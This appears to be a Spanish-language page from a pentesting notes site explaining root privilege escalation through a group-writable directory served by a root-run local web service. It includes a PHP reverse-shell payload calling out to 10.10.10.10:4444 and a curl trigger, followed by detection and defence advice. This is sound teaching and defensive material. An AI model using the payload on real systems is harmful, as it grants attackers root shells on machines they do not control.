the_open_door
café
ESEN
← Volver al índice

RCE via a group-writable directory in a root service

Un vector de escalada silencioso aparece cuando un servicio que corre como root sirve o incluye ficheros desde un directorio que un grupo no privilegiado puede escribir. El fichero concreto puede estar protegido (y revertirse periódicamente), pero si el directorio es escribible por nuestro grupo, podemos crear ficheros nuevos dentro, y el servicio los ejecutará con sus privilegios.

El primer paso es buscar qué nos pertenece por grupo:

id                                   # ver a qué grupos pertenecemos
find / -group <grupo> 2>/dev/null    # ficheros/directorios de ese grupo
ls -ld /ruta/al/directorio           # ¿el directorio es escribible por el grupo?

Si el directorio lo sirve una aplicación web local (típico: un monitor en 127.0.0.1:8080), basta con dejar ahí un .php con una reverse shell y pedirlo. El intérprete del servicio, propiedad de root, lo ejecuta como root:

echo '<?php exec("bash -c \'bash -i >/dev/tcp/10.10.10.10/4444 0>&1\'"); ?>' \
  > /ruta/al/directorio/shell.php
curl http://127.0.0.1:8080/config/shell.php      # disparo: shell como root

La clave es la asimetría: aunque los ficheros existentes dentro pertenezcan a otros usuarios, quien manda es el dueño del directorio (root) y el servicio que lo carga. Escribir en el directorio = ejecutar como el dueño del servicio.

Cómo detectarlo. La firma es la creación de un fichero ejecutable (.php, .py, un script) en un directorio servido por un proceso root, por parte de una cuenta que no es el dueño del servicio: auditd sobre create/write en esa ruta, o FIM que detecte el fichero nuevo. La confirmación es el proceso del servicio (root) lanzando sh/bash como hijo justo tras una petición al fichero recién dejado (auditd/Sysmon for Linux sobre execve con el ppid del servicio). Un .php con exec(//dev/tcp en un directorio de configuración escribible por grupo es el indicador en reposo.

Defensa. Que los directorios servidos por procesos privilegiados no sean escribibles por grupos de usuarios; revisar permisos de grupo con find -perm y separar el contenido de la aplicación (solo lectura) de los datos. Relacionado con cron sobre ruta escribible y grupos privilegiados en Linux.

HerramientasPowerUp

Máquinas donde se aplica